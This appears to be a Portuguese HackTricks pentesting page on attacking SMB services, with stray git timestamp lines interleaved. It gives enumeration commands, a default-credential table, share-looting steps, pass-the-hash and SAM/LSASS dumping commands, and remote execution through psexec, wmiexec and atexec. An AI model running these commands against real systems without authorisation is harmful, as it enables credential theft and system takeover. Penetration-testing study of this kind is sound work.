2023-08-27 20:12:23 +00:00
# 139,445 - Pentesting SMB
2024-07-19 11:31:17 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-08-27 20:12:23 +00:00
2024-07-19 11:31:17 +00:00
< details >
2023-08-27 20:12:23 +00:00
2024-07-19 11:31:17 +00:00
< summary > Support HackTricks< / summary >
2024-01-02 23:25:33 +00:00
2024-07-19 11:31:17 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-08-27 20:12:23 +00:00
< / details >
2024-07-19 11:31:17 +00:00
{% endhint %}
2023-08-27 20:12:23 +00:00
2023-06-06 18:56:34 +00:00
## **Porta 139**
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
O _**Sistema Básico de Entrada e Saída de Rede**_ ** (NetBIOS)** é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede** . A identificação e localização de aplicativos de software que operam em uma rede NetBIOS são alcançadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e muitas vezes são distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando **TCP Porta 139** .
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
2024-07-19 11:31:17 +00:00
## Port 445
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Tecnicamente, a Porta 139 é referida como ‘ NBT over IP’ , enquanto a Porta 445 é identificada como ‘ SMB over IP’ . O acrônimo **SMB** significa ‘ **Server Message Blocks**’ , que também é modernamente conhecido como **Common Internet File System (CIFS)** . Como um protocolo de rede da camada de aplicação, SMB/CIFS é utilizado principalmente para permitir o acesso compartilhado a arquivos, impressoras, portas seriais e facilitar várias formas de comunicação entre nós em uma rede.
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em sistemas diferentes, a utilização da porta 139 é observada, indicando que o SMB está sendo executado em conjunto com NetBIOS sobre TCP/IP.
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
2022-10-02 19:15:35 +00:00
### SMB
2024-07-19 11:31:17 +00:00
O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor** , é projetado para regular o **acesso a arquivos** , diretórios e outros recursos de rede, como impressoras e roteadores. Utilizado principalmente dentro da série de sistemas operacionais **Windows** , o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB.
2022-10-02 19:15:35 +00:00
2024-07-19 11:31:17 +00:00
Compartilhamentos, representando **partes arbitrárias do sistema de arquivos local** , podem ser fornecidos por um servidor SMB, tornando a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)** , que definem **direitos de acesso** , permitem um **controle detalhado** sobre as permissões dos usuários, incluindo atributos como ** `execute` **, ** `read` ** e ** `full access` **. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos compartilhamentos, e são distintas das permissões locais definidas no servidor.
2022-10-02 19:15:35 +00:00
2024-07-19 11:31:17 +00:00
### IPC$ Share
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula anônima, permitindo a interação com serviços expostos via pipes nomeados. A utilidade `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a aquisição de:
2020-07-15 15:43:14 +00:00
2024-02-23 16:42:31 +00:00
* Informações sobre o sistema operacional
* Detalhes sobre o domínio pai
* Uma compilação de usuários e grupos locais
2024-07-19 11:31:17 +00:00
* Informações sobre os compartilhamentos SMB disponíveis
* A política de segurança do sistema efetiva
2024-02-05 02:45:11 +00:00
2024-07-19 11:31:17 +00:00
Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
2024-02-05 02:45:11 +00:00
```bash
enum4linux -a target_ip
```
2024-07-19 11:31:17 +00:00
O comando acima é um exemplo de como `enum4linux` pode ser usado para realizar uma enumeração completa contra um alvo especificado por `target_ip` .
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## O que é NTLM
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Se você não sabe o que é NTLM ou se deseja saber como funciona e como abusar dele, você achará muito interessante esta página sobre **NTLM** onde é explicado **como este protocolo funciona e como você pode tirar proveito dele:**
2020-07-15 15:43:14 +00:00
2022-10-04 23:49:59 +00:00
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm ](../windows-hardening/ntlm/ )
{% endcontent-ref %}
2024-07-19 11:31:17 +00:00
## **Enumeração de Servidor**
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
### **Escanear** uma rede em busca de hosts:
2020-07-15 15:43:14 +00:00
```bash
nbtscan -r 192.168.0.1/24
```
2023-06-06 18:56:34 +00:00
### Versão do servidor SMB
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Para procurar possíveis exploits para a versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:
2020-07-15 15:43:14 +00:00
2024-02-23 16:42:31 +00:00
* Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
2023-06-06 18:56:34 +00:00
* Ou este script:
2020-07-15 15:43:14 +00:00
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" & & exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" & & sleep .1
```
2024-07-19 11:31:17 +00:00
### **Buscar exploit**
2020-07-15 15:43:14 +00:00
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
2024-07-19 11:31:17 +00:00
### **Credenciais** Possíveis
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
| **Nome(s) de usuário** | **Senhas comuns** |
2024-02-09 08:57:39 +00:00
| ---------------------- | --------------------------------------- |
2024-07-19 11:31:17 +00:00
| _(em branco)_ | _(em branco)_ |
| convidado | _(em branco)_ |
2024-02-05 02:45:11 +00:00
| Administrador, admin | _(em branco)_ , senha, administrador, admin |
2024-07-19 11:31:17 +00:00
| arcserve | arcserve, backup |
2024-02-09 08:57:39 +00:00
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| teste, lab, demo | senha, teste, lab, demo |
2023-12-26 21:42:42 +00:00
### Força Bruta
2024-07-19 11:31:17 +00:00
* [**Força Bruta SMB** ](../generic-methodologies-and-resources/brute-force.md#smb )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
### Informações do Ambiente SMB
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
### Obter Informações
2020-07-15 15:43:14 +00:00
```bash
#Dump interesting information
enum4linux -a [-u "< username > " -p "< passwd > "] < IP >
2021-06-16 12:07:22 +00:00
enum4linux-ng -A [-u "< username > " -p "< passwd > "] < IP >
2020-07-15 15:43:14 +00:00
nmap --script "safe or smb-enum-*" -p 445 < IP >
#Connect to the rpc
rpcclient -U "" -N < IP > #No creds
2020-12-22 11:59:42 +00:00
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
2022-11-26 22:36:18 +00:00
rpcclient -U "username%passwd" < IP > #With creds
2020-07-15 15:43:14 +00:00
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
```
2024-02-05 02:45:11 +00:00
### Enumerar Usuários, Grupos e Usuários Conectados
2023-08-27 20:12:23 +00:00
2024-07-19 11:31:17 +00:00
Essas informações já devem estar sendo coletadas do enum4linux e enum4linux-ng.
2022-10-02 19:15:35 +00:00
```bash
2022-10-04 23:49:59 +00:00
crackmapexec smb 10.10.10.10 --users [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u < username > -p < password > ]
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(& (objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
rpcclient -U "" -N 10.10.10.10
enumdomusers
2022-10-04 23:49:59 +00:00
enumdomgroups
2023-08-27 20:12:23 +00:00
```
2024-02-05 02:45:11 +00:00
### Enumerar usuários locais
2023-12-26 21:42:42 +00:00
2023-08-27 20:12:23 +00:00
[Impacket ](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py )
```bash
2022-10-04 23:49:59 +00:00
lookupsid.py -no-pass hostname.local
2023-08-27 20:12:23 +00:00
```
2024-07-19 11:31:17 +00:00
Oneliner
2023-08-27 20:12:23 +00:00
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumerar usuários locais
```bash
2022-10-04 23:49:59 +00:00
use auxiliary/scanner/smb/smb_lookupsid
2023-12-26 21:42:42 +00:00
set rhosts hostname.local
2022-10-04 23:49:59 +00:00
run
2022-10-04 21:36:29 +00:00
```
2024-02-05 02:45:11 +00:00
### **Enumerando LSARPC e SAMR rpcclient**
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md ](pentesting-smb/rpcclient-enumeration.md )
2022-10-04 21:36:29 +00:00
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
### Conexão GUI do linux
2021-02-02 09:11:43 +00:00
2023-12-26 21:42:42 +00:00
#### No terminal:
2021-02-02 09:11:43 +00:00
`xdg-open smb://cascade.htb/`
2023-12-26 21:42:42 +00:00
#### Na janela do navegador de arquivos (nautilus, thunar, etc)
2021-02-02 09:11:43 +00:00
`smb://friendzone.htb/general/`
2023-12-26 21:42:42 +00:00
## Enumeração de Pastas Compartilhadas
2022-10-04 23:49:59 +00:00
2023-12-26 21:42:42 +00:00
### Listar pastas compartilhadas
2022-10-04 23:49:59 +00:00
2024-07-19 11:31:17 +00:00
É sempre recomendado verificar se você pode acessar algo; se você não tiver credenciais, tente usar **credenciais nulas/usuário convidado** .
2023-08-27 20:12:23 +00:00
```bash
2023-12-26 21:42:42 +00:00
smbclient --no-pass -L //< IP > # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
smbmap -H < IP > [-P < PORT > ] #Null user
smbmap -u "username" -p "password" -H < IP > [-P < PORT > ] #Creds
smbmap -u "username" -p "< NT > :< LM > " -H < IP > [-P < PORT > ] #Pass -the-Hash
smbmap -R -u "username" -p "password" -H < IP > [-P < PORT > ] #Recursive list
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
crackmapexec smb < IP > -u '' -p '' --shares #Null user
crackmapexec smb < IP > -u 'username' -p 'password' --shares #Guest user
crackmapexec smb < IP > -u 'username' -H '< HASH > ' --shares #Guest user
2023-06-06 18:56:34 +00:00
```
2023-12-26 21:42:42 +00:00
### **Conectar/Listar uma pasta compartilhada**
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 21:42:42 +00:00
#Connect using smbclient
smbclient --no-pass //< IP > /< Folder >
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H < IP > [-P < PORT > ] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H < IP > [-P < PORT > ] # Non-Recursive list
smbmap -u "username" -p "< NT > :< LM > " [-r/-R] [Folder] -H < IP > [-P < PORT > ] #Pass -the-Hash
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:31:17 +00:00
### **Enumerar manualmente compartilhamentos do Windows e conectar-se a eles**
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina host e, quando tenta listá-los, parece que não há compartilhamentos para se conectar. Assim, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode querer procurar por respostas como NT\_STATUS\_ACCESS\_DENIED e NT\_STATUS\_BAD\_NETWORK\_NAME, ao usar uma sessão válida (por exemplo, sessão nula ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe.
2023-08-27 20:12:23 +00:00
2024-07-19 11:31:17 +00:00
Nomes comuns de compartilhamento para alvos Windows são
2020-08-28 15:29:16 +00:00
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
2024-07-19 11:31:17 +00:00
(Nomes comuns de compartilhamento da _**Network Security Assessment 3rd edition**_ )
2020-08-28 15:29:16 +00:00
2023-12-26 21:42:42 +00:00
Você pode tentar se conectar a eles usando o seguinte comando
2020-08-28 15:29:16 +00:00
```bash
2023-12-26 21:42:42 +00:00
smbclient -U '%' -N \\\\< IP > \\< SHARE > # null session to connect to a windows share
smbclient -U '< USER > ' \\\\< IP > \\< SHARE > # authenticated session to connect to a windows share (you will be prompted for a password)
2020-08-28 15:29:16 +00:00
```
2024-07-19 11:31:17 +00:00
ou este script (usando uma sessão nula)
2020-08-28 15:29:16 +00:00
```bash
#/bin/bash
2020-08-28 16:23:05 +00:00
ip='< TARGET-IP-HERE > '
2020-08-28 15:29:16 +00:00
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
2023-08-27 20:12:23 +00:00
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
2020-08-28 15:29:16 +00:00
2023-08-27 20:12:23 +00:00
if [[ -z $output ]]; then
2023-12-26 21:42:42 +00:00
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
2023-08-27 20:12:23 +00:00
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
2020-08-28 15:29:16 +00:00
done
```
2024-07-19 11:31:17 +00:00
exemplos
2020-08-28 15:29:16 +00:00
```bash
2023-12-26 21:42:42 +00:00
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
2020-08-28 15:29:16 +00:00
```
2023-12-26 21:42:42 +00:00
### **Enumerar compartilhamentos do Windows / sem ferramentas de terceiros**
2023-08-27 20:12:23 +00:00
2023-12-26 21:42:42 +00:00
PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "< computer name or session object > "
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:31:17 +00:00
CMD console
2023-12-26 21:42:42 +00:00
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\< ip > /all
2023-08-27 20:12:23 +00:00
```
2023-12-26 21:42:42 +00:00
MMC Snap-in (gráfico)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
2023-08-27 20:12:23 +00:00
```
2024-07-19 11:31:17 +00:00
explorer.exe (gráfico), digite `\\<ip>\` para ver os compartilhamentos disponíveis não ocultos.
2023-08-27 20:12:23 +00:00
2023-12-26 21:42:42 +00:00
### Montar uma pasta compartilhada
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 21:42:42 +00:00
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
2023-08-27 20:12:23 +00:00
```
2023-12-26 21:42:42 +00:00
### **Baixar arquivos**
2023-08-27 20:12:23 +00:00
2023-12-26 21:42:42 +00:00
Leia as seções anteriores para aprender como se conectar com credenciais/Pass-the-Hash.
2023-08-27 20:12:23 +00:00
```bash
2023-12-26 21:42:42 +00:00
#Search a file and download
sudo smbmap -R Folder -H < IP > -A < FileName > -q # Search the file in recursive mode and download it inside /usr/share/smbmap
2020-07-15 15:43:14 +00:00
```
```bash
2023-12-26 21:42:42 +00:00
#Download all
smbclient //< IP > /< share >
2020-09-03 15:27:18 +00:00
> mask ""
2020-09-04 19:43:20 +00:00
> recurse
> prompt
2020-07-15 15:43:14 +00:00
> mget *
2023-12-26 21:42:42 +00:00
#Download everything to current directory
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:31:17 +00:00
Commands:
2020-09-07 11:12:11 +00:00
2024-07-19 11:31:17 +00:00
* mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo, "" para todos os arquivos)
* recurse: ativa a recursão (padrão: desligado)
* prompt: desativa a solicitação de nomes de arquivos (padrão: ligado)
2023-12-26 21:42:42 +00:00
* mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente
2020-09-04 19:46:12 +00:00
2024-07-19 11:31:17 +00:00
(_Informação da página de manual do smbclient_)
2020-07-15 15:43:14 +00:00
2024-02-05 02:45:11 +00:00
### Pesquisa de Pastas Compartilhadas do Domínio
2020-12-22 15:40:31 +00:00
2024-02-05 02:45:11 +00:00
* [**Snaffler** ](https://github.com/SnaffCon/Snaffler )\*\*\*\*
2022-10-05 00:11:28 +00:00
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
2024-07-19 11:31:17 +00:00
* [**CrackMapExec** ](https://wiki.porchetta.industries/smb-protocol/spidering-shares ) aranha.
2024-02-05 02:45:11 +00:00
* `-M spider_plus [--share <share_name>]`
2023-08-27 20:12:23 +00:00
* `--pattern txt`
2020-12-22 15:40:31 +00:00
```bash
2023-12-26 21:42:42 +00:00
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
2020-12-22 15:40:31 +00:00
```
2024-07-19 11:31:17 +00:00
Especialmente interessantes a partir de compartilhamentos são os arquivos chamados ** `Registry.xml` **, pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos ** `web.config` **, pois contêm credenciais.
2022-10-05 23:14:39 +00:00
{% hint style="info" %}
2024-07-19 11:31:17 +00:00
O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes de batch, VBScript e PowerShell.\
Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas** .
2022-10-05 23:14:39 +00:00
{% endhint %}
2023-12-26 21:42:42 +00:00
## Ler Registro
2021-05-10 16:48:27 +00:00
2024-07-19 11:31:17 +00:00
Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. Impacket ** `reg.py` ** permite que você tente:
2022-10-04 23:49:59 +00:00
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
2021-05-10 16:48:27 +00:00
```
2024-02-05 02:45:11 +00:00
## Pós Exploração
2021-05-10 16:48:27 +00:00
2024-07-19 11:31:17 +00:00
A **configuração padrão de** um **servidor Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas** :
| **Configuração** | **Descrição** |
| -------------------------- | ----------------------------------------------------------------- |
| `browseable = yes` | Permitir listar compartilhamentos disponíveis no compartilhamento atual? |
| `read only = no` | Proibir a criação e modificação de arquivos? |
| `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? |
| `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? |
| `enable privileges = yes` | Honrar privilégios atribuídos a SID específicos? |
| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? |
| `magic script = script.sh` | Qual script deve ser executado quando o script for fechado? |
| `magic output = script.out` | Onde a saída do script mágico deve ser armazenada? |
2022-10-02 19:15:35 +00:00
2023-12-26 21:42:42 +00:00
O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado** .
2022-10-02 19:15:35 +00:00
2023-12-26 21:42:42 +00:00
## Autenticar usando Kerberos
2020-07-15 15:43:14 +00:00
2023-12-26 21:42:42 +00:00
Você pode **autenticar** no **kerberos** usando as ferramentas **smbclient** e **rpcclient** :
2020-07-15 15:43:14 +00:00
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
2023-12-26 21:42:42 +00:00
## **Executar Comandos**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### **crackmapexec**
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
crackmapexec pode executar comandos **abusando** de qualquer um dos **mmcexec, smbexec, atexec, wmiexec** , sendo **wmiexec** o **método** **padrão** . Você pode indicar qual opção prefere usar com o parâmetro `--exec-method` :
2020-07-15 15:43:14 +00:00
```bash
apt-get install crackmapexec
2023-12-26 21:42:42 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
2020-09-20 21:41:33 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -H < NTHASH > -x whoami #Pass -the-Hash
2023-12-26 21:42:42 +00:00
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --rid-brute #RID brute
2023-01-04 19:28:50 +00:00
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -H < HASH > #Pass -The-Hash
2020-07-15 15:43:14 +00:00
```
2022-10-04 23:18:19 +00:00
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** irá **carregar** um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\
**Mais informações** sobre [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md ) e [**smbexec** ](../windows-hardening/ntlm/smbexec.md ).\
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 21:42:42 +00:00
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]< targetName or address >
./psexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:31:17 +00:00
Usando **parameter** `-k` você pode autenticar contra **kerberos** em vez de **NTLM**
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.** \
2024-02-05 02:45:11 +00:00
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 21:42:42 +00:00
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]< targetName or address > #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:31:17 +00:00
Usando **parameter** `-k` você pode autenticar contra **kerberos** em vez de **NTLM**
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 21:42:42 +00:00
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]< targetName or address >
./dcomexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
2020-07-15 15:43:14 +00:00
```
2022-10-04 23:18:19 +00:00
### [AtExec](../windows-hardening/ntlm/atexec.md)
2020-07-15 15:43:14 +00:00
2024-07-19 11:31:17 +00:00
Executar comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\
No **kali** , está localizado em /usr/share/doc/python3-impacket/examples/
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 21:42:42 +00:00
./atexec.py [[domain/]username[:password]@]< targetName or address > "command"
./atexec.py -hashes < LM:NT > administrator@10.10.10.175 "whoami"
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:31:17 +00:00
## Impacket referência
2020-07-15 15:43:14 +00:00
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ ](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ )
2024-02-05 02:45:11 +00:00
